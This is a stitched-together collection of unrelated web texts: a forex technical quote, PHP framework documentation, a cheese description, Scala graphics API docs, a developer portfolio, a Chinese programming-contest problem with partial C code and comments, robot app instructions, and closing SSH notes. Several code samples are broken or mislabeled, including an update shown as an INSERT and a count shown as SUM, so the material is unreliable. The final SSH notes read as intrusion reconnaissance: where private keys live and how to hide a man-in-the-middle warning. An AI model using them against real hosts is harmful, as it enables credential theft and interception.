EUR/USD could still re-test the vicinity of 1.1100 – Commerzbank
by Pablo PiovanoAccording to Axel Rudolph, Senior FICC Technical Analyst at Commerzbank, the pair could still attempt a test of the boundaries of 1.1100 while above the 1.0989 level.
Key Quotes
“EUR/USD is slipping back to the 1.0989 mid-November low. Whilst it holds, last week’s high at 1.1097 may be revisited, a rise above which would have the 1.1180 October high in its sights. Above 1.1180 will target the 200 week ma at 1.1359”.
“Below 1.0989 lies the 1.0943 78.6% retracement”.


Our team wishes you great developing hours using Smooth.
Download Smooth 1.0.3Click here and get Smooth 1.0.3 + docs.
All you need to do before starting work with Smooth PHP Framework is to carefull read the documentation of our product and in case of any issues to contact our team.
Smooth Team wishes you all the best using our product.
Smooth is a new and sparkling PHP framework who is trying to ease and quicken your work process, because we now that writing faster is really important to all developers.
Smooth PHP is requiring only Apache and SQL server(if you want to use databases) plus PHP version greater or equal to 5.3.0. In order to use all features you need to install some additional extensions.
Everything is that simple. You just have to put all the Smooth files to your server, usually index.php is in your root directory; In order to run your App open the Application/config folder and edit the config files. The most important one is called routes.php where you need to change the url value to the one where your Smooth directory is based.
Example:
If Smooth is based on localhost/htdocs/Smooth your 'url' value should be: '/Smooth/'
If Smooth is based on localhost/htdocs/Try/One/Two your 'url' value should be: '/Try/One/Two'
Path yo your project
Path to your app folder with the models, views, controllers
Path you your Smooth folder with all files need for proper working process
Path to your project optimized for web usage
The name of your base controller
The version of Smooth you are using
The models are PHP files, designed to work with database information. Here is a sample model:
- <?php
- use Smooth\Libraries\Db;
- class SampleModel extends Smooth\Model {
- public function fetch_users() {
- return Db::fetch('users');
- }
- }
- ?>
The views are PHP files which are responsible for presenting the final information to the users. These pages can be different parts(header,section,nav,footer,sidebar) or entire web pages. The choice is completely yours. The views can contain any information you want to.
The controllers are PHP files linked with defined url. So if you want to get to the home view of your site you should http://mysite.com/home which is equal to http://mysite.com/index.php/home. Here is one sample controller:
- <?php
- class SampleController extends Smooth\Controller {
- public function index() {
- $data['content'] = 'WelcomeSmoothView';
- $this->render('includes/template', compact('data'));
- }
- }
- ?>
Cookie library will help you initializing new cookies plus retaining already set up cookies. Need an additional function to delete cookies? Don't bother, it's into the package. Load our Cookie library by adding this to the top of your code:
- use Smooth\Libraries\Cookie;
If your will is to create a new cookie use our set function by passing cookie name and value parameters. The third one is the validity period, it is optional and is set to 3600 by default.
- Cookie::set('my_cookie', 'Smooth');
- Cookie::get('my_cookie');
- Cookie::delete('my_cookie');
The Crypt library provides a faster way of crypting your information by using some of the most used methods. Above are listed all of the available methods in our latest version. Loading the Crypt library is done by adding this to the top of your code:
- use Smooth\Libraries\Crypt;
Crypting using any of the listed methods is complete by using this one:
- Crypt::crypter('method','my_super_secret_password');
So if you are still wondering how to use our Crypt library here is an example using whirlpool algorithm:
- Crypt::crypter("whirpool", "string");
It is the same with the rest of the algorithms: 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'md2', 'md4', 'md5', 'ripemd128', 'ripemd160', 'ripemd256','ripemd320', 'whirlpool', 'snefru', 'snefru256', 'gost', 'crc32', 'crc32b', 'adler32'.
Use of Db class to smoothen your work process with databases. Smooth is using PDO, however you will not be pushed to write SQL queries if you don't want to. Load it with:
- use Smooth\Libraries\Db;
Want to write all your queries by your own. The decision is yours.
- Db::query("SELECT user,name, email from users");
Function selecting all the data from your aimed table. The second parameter is limit and is set to null by default, but if you want to limit the result just put a number after a comma.
- Db::fetch('users');
- //equal to
- Db::query("SELECT * FROM users");
Function which will help you in select data with where statement, again our limit parameter is optional.
- $params = array('user'=>'me', 'email'=>'myemail@mysite.com');
- Db::fetchWhere('users', $params);
- //equal to
- Db::query("SELECT * FROM users WHERE user = 'me' AND email = 'myemail@mysite.com'");
Function similar to fetchWhere but added OR instead of AND. Our third parameter(limit) is set to null by default and is optional.
- $params = array('user'=>'me', 'email'=>'myemail@mysite.com');
- Db::fetchOrWhere('users', $params);
- //equal to
- Db::query("SELECT * FROM users WHERE user = 'me' OR email = 'myemail@mysite.com'");
Function making you capable of specifying multiple values in WHERE clause. Sounds a bit perplexing? Look at your example code:
- $params = array('me', 'you', 'them');
- Db::fetchWhereIn('users', 'user', $params);
- //equal to
- Db::query("SELECT * FROM users WHERE user IN ('me', 'you', 'them')");
In this case you need to pass your table name, field name and the multiple values in a array, again our limit is set to null by default and is optional, however it is the 4 parameter in this function.
This function syntax is similar to fetchWhereIn except it adds NOT and changes the direction of our query.
- $params = array('me', 'you', 'them');
- Db::fetchWhereNotIn('users', 'user', $params);
- //equal to
- Db::query("SELECT * FROM users WHERE user NOT IN ('me', 'you', 'them')");
Function that returns the largest value of the column.
- Db::fetchMax('users', 'user');
- //equal to
- Db::query("SELECT MAX('user') FROM users");
The third parameter is the as part and is set to null by default which is making it optional. Use it in case you need giving a field another name in your queries.
The function is similar to fetch_max, however it returns the smallest values of the column.
- Db::fetchMin('users', 'user');
- //equal to
- Db::query("SELECT MIN('user') FROM users");
The third parameter is the as part and is set to null by default which is making it optional. Use it in case you need giving a field another name in your queries.
The function syntax is similar to the fetchMax and fetchMin, however it returns the average value of a numeric column.
- Db::fetchAverage('users', 'user');
- //equal to
- Db::query("SELECT AVG('user') FROM users");
The third parameter is the as part and is set to null by default which is making it optional. Use it in case you need giving a field another name in your queries.
The function syntax is similar to the other functions, however it returns the total sum of a numeric column.
- Db::fetchSum('users', 'user');
- //equal to
- Db::query("SELECT SUM('user') FROM users");
The third parameter is the as part and is set to null by default which is making it optional. Use it in case you need giving a field another name in your queries.
The function syntax is similar to the other functions, however it returns the number of values of the column.
- Db::fetchSum('users', 'user');
- //equal to
- Db::query("SELECT SUM('user') FROM users");
The third parameter is the as part and is set to null by default which is making it optional. Use it in case you need giving a field another name in your queries.
Note: The functions does not count NULL values.
The function is helpful when insert new rows into the table without needing a dozen lines of code.
- $params = array('user'=>'me'<EMAIL_ADDRESS>'name'=>'Joe', 'surname'=>'Anderson');
- Db::insert('users', $params);
- //equal to
- Db::query("INSERT INTO users (user, email, name, surname) VALUES ('me'<EMAIL_ADDRESS>'Joe', 'Anderson')");
Note: The column names must match those given in the array.
The function is helpful when updating existing rows.
- $params = array('user'=>'me'<EMAIL_ADDRESS>'name'=>'John', 'surname'=>'Smith');
- Db::update('users', $params, array('user'=>'Joe','surname'='Anderson'));
- //equal to
- Db::query("INSERT INTO users (user, email, name, surname) VALUES ('me'<EMAIL_ADDRESS>'Joe', 'Anderson') WHERE user='Joe' AND 'surname='Anderson'");
Note: The column names must match those given in the array.
Function responsible for deleting rows from your table. Just pass your table name and your where parameters.
- $params = array('user'=>'me', 'surname'=>'Anderson');
- Db::delete('users', $params);
- //equal to
- Db::query("DELETE FROM users WHERE user='me' AND surname='Anderson");
Note: The column names must match those given in the array.
With this function you are able to delete all of the rows in a table and return the counting to 0.
- Db::truncate('users');
- //equal to
- Db::query("TRUNCATE users");
Our Form library is containing some functions helpful when generating and submiting forms withou writing not a single line of code. Loading the Form library is getting done with this line of code:
- use Smooth\Libraries\Form;
The filter function is used when filtering data values from input fields.
- Form::filter('username', rules);
The rules are separated with . between them. Currently those below are included in the package.
- Form::filter('username', alpha.email.ip);
Note: Form input field names must match those into the filter function.
Length function is used for setting up minimum and maximum length of the input field.
- Form::filter('username', 5, 30);
Note: Form input field names must match those into the filter function.
Check function is used when validating the submition of the user form, by checking all custom rules set by the developer.
- Form::filter('username', alpha_numeric);
- Form::filter('email', email);
- Form::length('username', 5, 30);
- Form::length('email', 10, 50);
- if( Form::check() == true ) {
- //rest of your code
- }
If any errors apper the statement of the check function will return false.
Post function is used when retaining the value of a field in a form with post method.
- Form::post('username');
Note: Form input field names must match those into the filter function.
Get function is used when retaining the value of a field in a form with get method.
- Form::get('username');
Note: Form input field names must match those into the filter function.
The function is used when generating forms without writing a html code.
- Form::open('url to the requested action file', 'post|get', 'form-wanted-id', 'form-wanted-class');
Form input function is used when generating input data fields. Field types available in the current Smooth version are listed below.
- Form::input('text', 'username', '', 'Enter your wanted username', pattern, required, title);
The last three parameters are set to null by default so they are optional.
The label function is used when generating labels. Sample code is presented below:
- Form::label('user', 'Username');
Function used when generating legend content into forms.
- Form::legend('Registration form');
Function used for generating opening fieldset tag.
- Form::fieldset_open();
Function used for generation clossing fieldset tag.
- Form::fieldset_close();
Textarea function is used when generating textareas.
- Form::textarea('bio', '', '', '');
Note: By leaving the id and class blank you do not assign any id or class names to the field.
Function using when generating ul_open tags.
- Form::ul_open('lists', '', '');
Note: By leaving the id and class blank you do not assign any id or class names to the field.
Used for generation li fields.
- Form::li('', '', 'pears', 'Pears');
Note: By leaving the id and class blank you do not assign any id or class names to the field.
Function used for generating closing ul tags.
- Form::ul_close();
Used for generating opening ol tags.
- Form::ol_open();
Used for generating closing ol tags.
- Form::ol_close();
Function used for generation closing form tag.
- Form::close();
The Frontend library is used to generate wanted html document parts.
Used for generating header part.
- Frontend::header('all the content you want to put into the header');
Used for generating aside part available from HTML5.
- Frontend::aside('all the content you want to put into the aside part');
Function used for generating footer document parts.
- Frontend::footer('all the content you want to put into the footer part');
Use the h function for generating heading tags. The type can variate from 0 to 6.
- Frontend::h('content of your heading', '3');
Used for generation section html document parts.
- Frontend::section('your content');
Mainly used for adding new lines to your code.
- Frontend::nl(10);
Used for generating whole div parts(opening and closing tags).
- Frontend::div('', '', 'wanted content');
Note: By leaving the id and class blank you do not assign any id or class names to the field.
Used for generating only opening div parts.
- Frontend::div_open('myDiv', '');
Note: By leaving the id and class blank you do not assign any id or class names to the field.
Used for generating only closing div parts.
- Frontend::div_close('', 'styledDiv');
Note: By leaving the id and class blank you do not assign any id or class names to the field.
Function mainly used for generation hrefs to external content.
- Frontend::link('url', 'content to be shown');
Used for generating video parts into the html document. Available from HTML5.
- Frontend::video('url to the video', 200, 400, 'controls')
The last parameter is set by default to controls so it is optional to complete.
Used for generating audio as a part from the page.
- Frontend::audio('url to the audio file');
The last parameter is set by default to controls so it is optional to complete.
Used for generation progress bars. Available from HTML5.
- Frontend::progress(250, 100);
Function generally used for creating a paragraphs.
- Frontend::p('myParagraph', '', 'content');
Function used for generating a span parts. The syntax is identical to the p function.
- Frontend::span('', '', 'my content');
Used for declaring small parts in the current page.
- Frontend::small('', '', 'my content');
Used for generating code blocks. The function syntax is similar to the three above.
- Frontend::code('myCode', 'Code', 'my content');
Function used for generating pre parts where all white spaces as the text was enter should be visible to the user.
- Frontend::pre('preId', '', 'my pre tag content');
Used for quoting with cite attribute.
- Frontend::blockquote('', '', 'Smooth PHP Team', 'The quote');
Function used for generating parts with contact information.
- Frontend::address('addressId', '', 'my content');
Used for including an abbreviation or acronym.
- Frontend::abbr('abbrId', '', 'Acronym title', 'my acronym content');
Function which will deliver to you completely working whole HTML5 standarted page code.
- Frontend::html5('en', 'Smooth PHP Framework', 'utf-8', 'My main content goes here');
Generally used for easier loading of some CDN js libraries.
- Frontend::load_js('underscore');
The full list of all available libraries:
Generally used for easier loading of some CDN css libraries.
- Frontend::load_css('normalize');
The full list of all available libraries:
Used for generating meta tags.
- Frontend::meta('description', 'Smooth PHP Framework is great');
The Generator library is generally used for creating random strings or ints by set length. Loading the library is simply by adding this line of code to the top.
- use Smooth\Libraries\Generator;
Generating random string.
- Generator::string(15);
Generating random ints.
- Generator::int(57);
Generating random combinations between string and int.
- Generator::string_int(27);
The library is useful when calculating different types of problems. To load the Math library you have to add this single line to the top of your code:
- use Smooth\Libraries\Math;
Helpful function used when multiplying numbers.
- Math::multiply(array(5, 7, 9, 17));
Mainly used when dividing a range of numbers.
- Math::divide(array(3, 8, 6));
Function used when graduating a number.
- Math::degree(5, 7);
Useful function when calculating the surface of a geometric shape.
- Math::S(array(5, 8, 3, 4, 7));
Useful function when calculating the perimeter of a geometric shape.
- Math::P(array(5, 6, 8, 3));
Used when calculating a factorial of a number.
- Math::factorial(7);
Mainly used when calculating the number of permutations.
- Math::permutations(3, 7);
Useful when calculating the number of combinations.
- Math::combinations(8, 17);
Function used when calculating the number of variations.
- Math::variations(4, 9);
May come in gandy when calculating the number of probabilities.
- Math::probabilities(5, 8);
Handy when calculating a log.
- Math::log(3, 7);
Handy when calculating a log with base 10.
- Math::log(87);
Pretty useful when calculating a fibonacci series.
- Math::fibonacci(74);
A Smooth library responsible for making your work with sessions much easier. Load it with this single line of code added to the top of the page:
- use Smooth\Libraries\Session;
Used when starting the Smooth Session
- Session::set();
Generally used when initializing a new session.
- Session::init('logged_in', 'true');
Function responsible for delivering the requested session data.
- Session::get('logged_in');
A function responsible for destroying the current Smooth session.
- Session::destroy('logged_in');
A library making your work with urls much funier and clear. Load it by adding this to the top of the page:
- use Smooth\Libraries\Url;
A function responsible for returning the requested component.
- Url::component(3);
Returning the current webpage url.
- Url::current();
Returning the base url of the App.
- Url::base() //equal to the WEBPATH variable
A additional function for redirecting the user to another location.
- Url::redirect('http://smoothphp.com');
- http://smoothphp.com/home/add/5
- //equal to whatever url you are using + localhost
- http://localhost/home/add/5
The default Smooth routing system is currently in beta test mode as we are updating all core files. The example above will direct you to the home controller, add function and it will asign 5 as a param to the func(). Smooth is using this one in order to provide clean urls.
The custom routing system can be set in Application/config/routes.php as we are testing it. The limit is one rewritten url. It will be changed as soon as possible.
The Database module of Smooth is of great importance. In most cases you will need to set up your database server connection. In order to complete this step find the file called database.php, located into the Smooth system folder, database folder and edit the file with your server connection details.
Smooth is using PDO database connection, which implies one type of connection with 12 different drivers. All you need to do is just follow the step above.
We are using Structured Query Language knows as SQL, so there is nothing different or special if you want to write your queries by your own.
A library is included into our package, which is great help when the developer wants to fetch the data easy and with just a line of code. Check it out now.
Our custom template system integrated into the Smooth version is pretty simple and quite flexible. The main files can be found onto this path Application/views/includes/. There are three files header.php, footer.php and template.php. How to use the template system? Here is an example:
- <?php
- class SampleController extends Smooth\Controller {
- public function index() {
- $data['content'] = 'WelcomeSmoothView';
- $this->render('includes/template', compact('data'));
- }
- }
- ?>
In this way you will load the view called WelcomeSmoothView and pass all the vars associated with the $data. In case you want to pass more vars containing some information you need to use this way:
- $data['my_var'] = 'my-information';
- $data['content'] = 'WelcomeSmoothView';
- $this->render('includes/template', compact('data'));
In your view file you can retain the data form the variable by just write its name with a $ sign in front.
- echo $my_var; //Will output my-information
All the needed configurations that the developer worth looking @ are based into the Application/config folder. All is that simple.
The app folder is by default named Application. There are all your user config files, controllesr, views, models and so on.
The system folder contains all the needed files for Smooth to run properly. Please do not delete or change any files unless you know what you are actually doing.
The public folder contains all the css, js and image files. The directory is not protected with any .htaccess, .php or .html files.
Our framework is packaged with some tests provided as we believe that every meaningful and well-structured application should imply tests. The Tests and vendor folders plus composer.json file and the phpunit.xml file are needed for running the suite with PHPUnit.


Provolone is an Italian cheese made from cow’s milk whose origins lie in Southern Italy. Today, the major production of Provolone takes place in Po valley region, particularly Lombardy and Veneto. Both Provolone Valpadana and Provolone del Monaco are granted DOP designation by the European Union to ensure that cheese is produced under strict supervision using specific methods to guarantee supreme quality.
Provolone cheese is also classified into two forms: Provolone Dolce, which is aged for 2-3 months, has a pale yellow to white colour and sweet taste. The other, Provolone Piccante is aged for more than four months and has a sharper taste. In South America, a similar cheese by the name of Provoleta is eaten with grilled meat. In America, Provolone produced is similar to the Dolce variety. The flavours of Provolone largely vary depending where it’s made. Mostly, it’s semi-hard in texture and made from cow’s milk.
Provolone contains high amounts of calcium and protein but on the other hand, it is also high in sodium. The cheese goes along with full-bodied and aged red wines. At the table, it could be served with hot chutneys, homemade breads and flat breads.
Other Italian cheeses:
Top photos from Twitter


GDCMconv web browser example
This is the GDCMconv app ported to a browser. This will decompress your dicom.
Choose file...


package scala2d
The scala2d
package contains classes, traits and objects for
for simple 2D graphics in scala, based upon java.swing
, java.awt
and
java_awt_geom
.
- Alphabetic
- By Inheritance
- scala2d
- AnyRef
- Any
- Hide All
- Show All
- Public
- All
Type Members
-
case class
Arc
() extends Double with Product with Serializable
Arc
is a convenience case class forArc2D
(a subclass ofRectangularShape
). -
case class
Arrow
(p1: R2 = R2 (0.0, 0.0), p2: R2 = R2 (0.0, 0.0), len: Int = 10) extends Double with Product with Serializable
The
Arrow
class uses Java's Path2D class to create a line with an arrowhead on the far end.The
Arrow
class uses Java's Path2D class to create a line with an arrowhead on the far end. The main line is defined by points 'p1' and 'p2'. Points 'p3' and 'p4' are the corners of the triangular arrowhead.- p1
the starting point for the line/arrow
- p2
the ending point for the line/arrow
- len
the length of the arrowhead on the line/arrow
-
trait
CurvilinearShape
extends Shape with Error
The
CurvilinearShape
trait provides a general type for line and curves.The
CurvilinearShape
trait provides a general type for line and curves. It is analogous toRectangularShape
. -
case class
Ellipse
() extends Double with Product with Serializable
Ellipse
is a convenience case class for Ellipse2D (a subclass ofRectangularShape
). -
class
Frame
extends JFrame
Frame
is a convenience class forJFrame
. -
case class
Hexagon
(vertex: Array[R2]) extends Double with Product with Serializable
The
Hexagon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a hexagon given its vertices.The
Hexagon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a hexagon given its vertices.- vertex
the six corner points of the hexagon
-
case class
Line
(p1: R2 = R2 (0.0, 0.0), p2: R2 = R2 (0.0, 0.0)) extends Double with Product with Serializable
Line
is a convenience case class forLine2D
(a subclass ofRectangularShape
). -
case class
Octagon
(vertex: Array[R2]) extends Double with Product with Serializable
The
Octagon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building an octagon given its vertices.The
Octagon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building an octagon given its vertices.- vertex
the eight corner points of the octagon
-
class
Panel
extends JPanel
Panel
is a convenience class forJPanel
. -
case class
Path
() extends Double with Product with Serializable
Path
is a convenience case class forPath2D.
Its subtypes (case classPolygon
, etc.) are defined in other files in thescala2d
package. -
case class
Pentagon
(vertex: Array[R2]) extends Double with Product with Serializable
The
Pentagon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a pentagon given its vertices.The
Pentagon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a pentagon given its vertices.- vertex
the five corner points of the pentagon
-
case class
Polygon
(vertex: Array[R2]) extends Double with Product with Serializable
The
Polygon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a polygon given its vertices.The
Polygon
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a polygon given its vertices.- vertex
the n >= 3 corner points of the polygon
-
case class
QArrow
(p1: R2 = R2 (0.0, 0.0), pc: R2 = R2 (0.0, 0.0), p2: R2 = R2 (0.0, 0.0), len: Int = 10) extends Double with Product with Serializable
The
QArrow
class uses Java'sPath2D
class to create a quad curve with an arrowhead on the far end.The
QArrow
class uses Java'sPath2D
class to create a quad curve with an arrowhead on the far end. The main curve is defined by points 'p1' and 'p2' along with a control point 'pc'. Points 'p3' and 'p4' are the corners of the triangular arrowhead.- p1
the starting point for the curve/arc
- pc
the control point for the curve/arc
- p2
the ending point for the curve/arc
- len
the length of the arrowhead on the curve/arc
-
case class
QCurve
(p1: R2 = R2 (0.0, 0.0), pc: R2 = R2 (0.0, 0.0), p2: R2 = R2 (0.0, 0.0), straight: Boolean = true) extends Double with CurvilinearShape with Product with Serializable
The
QCurve
class enhances theQuadCurve.Double
class (from thejava.awt.geom
package) by allowing entities to move along such quadratic curves as well as lines.The
QCurve
class enhances theQuadCurve.Double
class (from thejava.awt.geom
package) by allowing entities to move along such quadratic curves as well as lines. Although the curve could be developed as a quadratic function where 'y = ax2 + bx + c'. The following quadratic bezier formulation is used:
p(t) = (x(t), y(t)) = [(1-t)2 * p1] + [2 * (1-t) * t * pc] + [t^2 * p2].- p1
the starting point for the quad curve
- pc
the control point for the quad curve
- p2
the ending point for the quad curve
- straight
whether the quad curve is straight (i.e., a line)
-
case class
Quad
(vertex: Array[R2]) extends Double with Product with Serializable
The
Quad
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a quadrilateral given its vertices.The
Quad
class enhances thePath2D.Double
class (from thejava.awt.geom
package) by adding a constructor for building a quadrilateral given its vertices.- vertex
the four corner points of the quadrilateral
-
case class
R2
(xx: Double, yy: Double) extends Double with Product with Serializable
R2
is a convenience case class forPoint2D
. -
case class
Rectangle
() extends Double with Product with Serializable
Rectangle
is a convenience case class forRectangle2D
(a subclass ofRectangularShape
). -
case class
RoundRectangle
() extends Double with Product with Serializable
RoundRectangle
is a convenience case class forRoundRectangle2D
(a subclass ofRectangularShape
). -
class
ScrollPane
extends JScrollPane
ScrollPane
is a convenience class forJScrollPane
. -
class
Table
extends JTable
Table
is a convenience class forJTable
. -
trait
Transform
extends AnyRef
The
Transform
trait provides a simple technique for transforming (translation, scaling and rotation) rectangular shapes. -
case class
Triangle
(vertex: Array[R2]) extends Double with Product with Serializable
The Triangle class enhances the Path2D.Double class (from the
java.awt.geom
package) by adding a constructor for building a triangle given its vertices.The Triangle class enhances the Path2D.Double class (from the
java.awt.geom
package) by adding a constructor for building a triangle given its vertices.- vertex
the three corner points of the triangle
-
class
VizFrame
extends Frame
The
VizFrame
class puts the canvas in the visualization/drawing frame.
Value Members
-
object
ArrowTest
extends App
The
ArrowTest
object is used to test theArrow
class. -
object
Colors
The
Colors
convenience object defines numerous common colors.The
Colors
convenience object defines numerous common colors. Source of colors:- See also
www.webmoments.com/colorchart.htm
-
object
ColorsTest
extends App
The
ColorsTest
object is used to test theColors
object. -
object
Constants
Useful constants.
-
object
PolygonTest
extends App
The
PolygonTest
object tests thePolygon
,Triangle
,Quad
,Hexagon
and Octagon classes. -
object
QArrowTest
extends App
The
QArrowTest
object is used to test theQArrow
class. -
object
QCurve
extends Serializable
The
QCurve
companion object provides formulas used by theQCurve
class. -
object
QCurveTest
extends App
The
QCurveTest
object tests theQCurve
classes' quad curves. -
object
QCurveTest2
extends App
The
QCurveTest2
object tests traversal ofQCurve
's (quad curves). -
object
Shapes
The
Shapes
object Scala provides type aliases for basic Java2D types.


Web Developer
I'm a former journalist and Dev Bootcamp graduate thrilled about web development. I pride myself in my work ethic, enthusiasm, and most importantly my ability to learn quickly.
I'm a former journalist and Dev Bootcamp graduate thrilled about web development. I pride myself in my work ethic, enthusiasm, and most importantly my ability to learn quickly.
I'm passionate about learning, transparency, and collaboration. After starting my career as a writer, I discovered I love programming because it perfectly blends my problem-solving and creative strengths.
I recently graduated from Dev Bootcamp's 1,000-plus hour programming apprenticeship where I learned Ruby, JavaScript, Rails, the MEAN stack other other technologies. I'm currently seeking job opportunities in San Francisco or the East Bay.
In my free time, I'm crazy about riding bikes, music, reading and the exploring the Bay Area.
Nomadr is a Chrome browser extension that motivates users to achieve their travel goals. Simply enter a city and departure date to see inspiring photos, information, and events in each new tab.
RideHub is a cycling meetup app to connect cyclists and make riding more social. RideHub aims to help riders find friends by listing all local rides. Just browse the map and join a ride!
Snip is an open source code snippet manager. Use the simple command line interface to tag and save parts of your code for future review. Compatible with Ruby and JavaScript.
DiverseOut encourages the release of tech companies' diversity data. View aggregated data or create a survey for your own company. Because the tech industry's most pressing problems aren't technical.


--- layout: page title: About header-img: "img/about-bg.png" ---
Software development student at Flat Iron School.


Temperature
问题描述 :
Many people like summer as summer has a lot of advantages, but on the other hand, sometimes summer is also boring. As a student, Tom has complained with summer for many days. Because when having lunch, Tom has a habit of drinking soup. But the temperature of the soup is too high, so Tom need wait for a long time to drink. One day, Tom bought a bowl of soup again, he measured the temperature of the environment is ua and the temperature of the soup is u0, after t1 minutes, he measured the soup again and the temperature is u1, but he did not want to measure the temperature all the time until he could drink it. Now Tom asks you for help. Could you help Tom calculate what the temperature of the soup is after t2 minutes and how long he need to wait for until the temperature of the soup becomes u2 according to the data which he had measured? You could assume that the temperature of the environment is invariable.
输入:
The first line of the input contains a single integer T (1 <= T <= 10), the number of test cases. Then T cases follow.
The first line of each case contains 5 integers, ua(0<ua<100), u0(ua<=u0<=100), u1(ua<=u1<=u0), t1(t1>0), n(1<=n<=10), indicating the temperature of the environment ua, the original temperature of the soup u0 and the later temperature of the soup u1 after t1 minutes, n indicates that there are n options in the following. Each line of the n lines contains two integers, p and s, p is the kind of the option and can only be 0 or 1. If p is 0, you should calculate the time Tom need to wait for until the temperature of the soup becomes s(ua<=s<=u0)(it is guaranteed that temperature s is reachable), or you should calculate the temperature of the soup after s(0<s<=100) minutes from original time t=0.
The first line of each case contains 5 integers, ua(0<ua<100), u0(ua<=u0<=100), u1(ua<=u1<=u0), t1(t1>0), n(1<=n<=10), indicating the temperature of the environment ua, the original temperature of the soup u0 and the later temperature of the soup u1 after t1 minutes, n indicates that there are n options in the following. Each line of the n lines contains two integers, p and s, p is the kind of the option and can only be 0 or 1. If p is 0, you should calculate the time Tom need to wait for until the temperature of the soup becomes s(ua<=s<=u0)(it is guaranteed that temperature s is reachable), or you should calculate the temperature of the soup after s(0<s<=100) minutes from original time t=0.
输出:
The first line of the input contains a single integer T (1 <= T <= 10), the number of test cases. Then T cases follow.
The first line of each case contains 5 integers, ua(0<ua<100), u0(ua<=u0<=100), u1(ua<=u1<=u0), t1(t1>0), n(1<=n<=10), indicating the temperature of the environment ua, the original temperature of the soup u0 and the later temperature of the soup u1 after t1 minutes, n indicates that there are n options in the following. Each line of the n lines contains two integers, p and s, p is the kind of the option and can only be 0 or 1. If p is 0, you should calculate the time Tom need to wait for until the temperature of the soup becomes s(ua<=s<=u0)(it is guaranteed that temperature s is reachable), or you should calculate the temperature of the soup after s(0<s<=100) minutes from original time t=0.
The first line of each case contains 5 integers, ua(0<ua<100), u0(ua<=u0<=100), u1(ua<=u1<=u0), t1(t1>0), n(1<=n<=10), indicating the temperature of the environment ua, the original temperature of the soup u0 and the later temperature of the soup u1 after t1 minutes, n indicates that there are n options in the following. Each line of the n lines contains two integers, p and s, p is the kind of the option and can only be 0 or 1. If p is 0, you should calculate the time Tom need to wait for until the temperature of the soup becomes s(ua<=s<=u0)(it is guaranteed that temperature s is reachable), or you should calculate the temperature of the soup after s(0<s<=100) minutes from original time t=0.
样例输入:
1 24 100 90 10 2 0 80 1 20
样例输出:
Case 1: 21.65 81.32HintAccording to Newton’s law of cooling, in a certain temperature range, the rate of change of an object’s temperature is proportional to the temperature difference of the object’s temperature and the environment temperature.
if(s == u0 || u0 == ua)
{
printf(“0.00/n”);
continue;
}
if(s == u1 || u1 == ua)
{
printf(“%.2lf/n”, 1.0 *t1);
continue;
}
double b = 1.0 * (s – ua)/ (u0 – ua);
double d = (log10 (b)) / (log10 (e));
double tt = d / (-k);
printf(“%0.2lf/n”, tt);
//printf(“/n”);
}
else
{
double c;
c = ua + (u0 – ua) * pow(e, -k * s);
printf(“%0.2lf/n”, c);
//printf(“/n”);
}
}
printf(“/n”);
}
return 0;
}
参考：http://blog.csdn.net/huixisheng/article/details/5756701
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大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
大家可以看看[锦绣未央]漫画版也很好看
很好的题，还是能做出几道的，嘿嘿
这道题这里的解法最坏情况似乎应该是指数的。回溯的时候
O(n) = O(n-1) + O(n-2) + ….
O(n-1) = O(n-2) + O(n-3)+ …
O(n) – O(n-1) = O(n-1)
O(n) = 2O(n-1)
for(int i=1; i<=m; i++){
for(int j=1; j<=n; j++){
dp = dp [j-1] + 1;
if(s1.charAt(i-1) == s3.charAt(i+j-1))
dp = dp[i-1] + 1;
if(s2.charAt(j-1) == s3.charAt(i+j-1))
dp = Math.max(dp [j - 1] + 1, dp );
}
}
这里的代码似乎有点问题？ dp(i)(j) = dp(i)(j-1) + 1;这个例子System.out.println(ils.isInterleave("aa","dbbca", "aadbbcb"));返回的应该是false
注释很详细，多谢分享！
第一个真的要比较两次吗，换成else if 不可以吗
顺利测试通过了，多谢
遍历了所有的情况(2^n)，tmp数组就是由当前遍历的状态s推算出的
Thank you very much
非常不错
学算法中的数据结构学到一定程度会乐此不疲的，比如其中的2－3树，类似的红黑树，我甚至可以自己写个逻辑文件系统结构来。
很好的题，还是能做出几道的，嘿嘿
感谢分享 学习了`(*∩_∩*)′
L（X [0 .. M-1]，Y [0 .. N-1]）= 1 + L（X [0 .. M-2]，Y [0 .. N-1]）这个地方也也有笔误
应改为L（X [0 .. M-1]，Y [0 .. N-1]）= 1 + L（X [0 .. M-2]，Y [0 .. N-2]）
这是什么编译器啊，不通过


The Bristle Bot App lets you access and control the BristleBot from any WiFi enabled device. The App is written in HTML5 and is served directly from the BristleBot. To access the App you first need to connect via WiFi to the BristleBot. The BristleBot is configured as a WiFi access point with an SSID of the form "BristleBot_XXXX". Once connected to the BristleBot you can use your browser to navigate to the IP address of the BritleBot: <IP_ADDRESS>
This will return the main index page of the BristleBot from which you can select the following options
To communicate with the BristleBot the App opens a web socket connection between your device and the BristleBot. This Status of this connection is shown in the upper left of the App. You need to make sure it indicates "CONNECTED" before trying to send commands to the BristleBot. If it remains "UNCONNECTED", or "DISCONNECTED" for some time try refreshing the page.


SSH notes:
root and default dir for ssh (enterprise often different): /home/<user>/.ssh/
default host keys: /etc/ssh/ssh_host_<ALGORITHM>_key
known_hosts: server fingerprints. advanced MITM, change so user doesn't know MITM warning.
id_<ALGORITHM> (ie, id_rsa, id_dsa, etc): ssh private key
id_<ALGORITHM>.pub (ie, id_rsa.pub, id_dsa.pub, etc): ssh public key
Check /etc/ssh/sshd_config for interesting locations (ie auth_keys location)
Check /etc/ssh/ssh_config for other options
use SSH on your machine to execute commands before the shell is loaded:
